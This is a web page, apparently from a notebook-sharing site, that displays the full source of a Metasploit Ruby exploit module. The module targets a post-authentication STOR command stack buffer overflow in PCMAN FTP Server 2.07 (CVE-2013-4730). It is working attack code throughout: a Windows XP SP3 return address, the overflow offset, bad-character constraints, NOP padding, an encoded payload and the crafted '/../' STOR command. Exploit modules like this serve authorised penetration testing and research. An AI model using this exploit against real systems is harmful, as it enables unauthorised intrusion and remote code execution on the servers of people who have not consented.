Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/ftp/pcman_stor.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Ftp910def initialize(info = {})11super(update_info(info,12'Name' => 'PCMAN FTP Server Post-Authentication STOR Command Stack Buffer Overflow',13'Description' => %q{14This module exploits a buffer overflow vulnerability found in the STOR command of the15PCMAN FTP v2.07 Server when the "/../" parameters are also sent to the server. Please16note authentication is required in order to trigger the vulnerability. The overflowing17string will also be seen on the FTP server log console.18},19'Author' =>20[21'Christian (Polunchis) Ramirez', # Initial Discovery22'Rick (nanotechz9l) Flores' # Metasploit Module23],24'License' => MSF_LICENSE,25'References' =>26[27[ 'CVE', '2013-4730' ],28[ 'OSVDB', '94624'],29[ 'EDB', '27703']30],31'DefaultOptions' =>32{33'EXITFUNC' => 'process',34'VERBOSE' => true35},36'Payload' =>37{38'Space' => 1000,39'BadChars' => "\x00\xff\x0a\x0d\x20\x40",40},41'Platform' => 'win',42'Targets' =>43[44[ 'Windows XP SP3 English',45{46'Ret' => 0x77c35459, # push esp ret C:\WINDOWS\system32\msvcrt.dll47'Offset' => 201148}49],50],51'DisclosureDate' => '2013-06-27',52'DefaultTarget' => 0))53end5455def post_auth?56true57end5859def check60c = connect_login61disconnect6263if c and banner =~ /220 PCMan's FTP Server 2\.0/64# Auth is required to exploit65vprint_status("Able to authenticate, and banner shows the vulnerable version")66return Exploit::CheckCode::Appears67elsif not c and banner =~ /220 PCMan's FTP Server 2\.0/68vprint_status("Unable to authenticate, but banner shows the vulnerable version")69# Auth failed, but based on version maybe the target is vulnerable70return Exploit::CheckCode::Appears71end7273return Exploit::CheckCode::Safe74end757677def exploit78c = connect_login7980# Auth failed. The mixin should show the error, so we just bail.81return unless c8283# Username is part of the overflowing string, so we need to account for that length84user_length = datastore['FTPUSER'].to_s.length8586print_status("Trying victim #{target.name}...")87sploit = rand_text_alpha(target['Offset'] - user_length)88sploit << [target.ret].pack('V')89sploit << make_nops(4)90sploit << payload.encoded91sploit << rand_text_alpha(sploit.length)9293send_cmd( ["STOR", "/../" + sploit], false )94disconnect95end96end979899